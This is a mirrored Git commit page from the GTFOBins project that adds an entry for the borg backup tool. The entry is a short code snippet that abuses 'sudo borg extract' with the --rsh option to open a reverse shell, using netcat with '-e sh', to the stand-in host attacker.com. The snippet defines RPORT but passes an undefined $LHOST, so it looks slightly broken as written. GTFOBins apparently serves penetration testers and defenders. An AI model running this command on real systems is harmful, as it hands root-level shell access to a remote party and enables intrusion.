mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-09-19 14:49:21 +02:00
Create borg.md
This commit is contained in:
9
_gtfobins/borg.md
Normal file
9
_gtfobins/borg.md
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
---
|
||||||
|
sudo:
|
||||||
|
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
|
||||||
|
code: |
|
||||||
|
RHOST=attacker.com
|
||||||
|
RPORT=12345
|
||||||
|
NETCAT=/usr/bin/nc
|
||||||
|
sudo borg extract .@.:/::. --rsh "$NETCAT $RHOST $LHOST -e sh"
|
||||||
|
---
|
Reference in New Issue
Block a user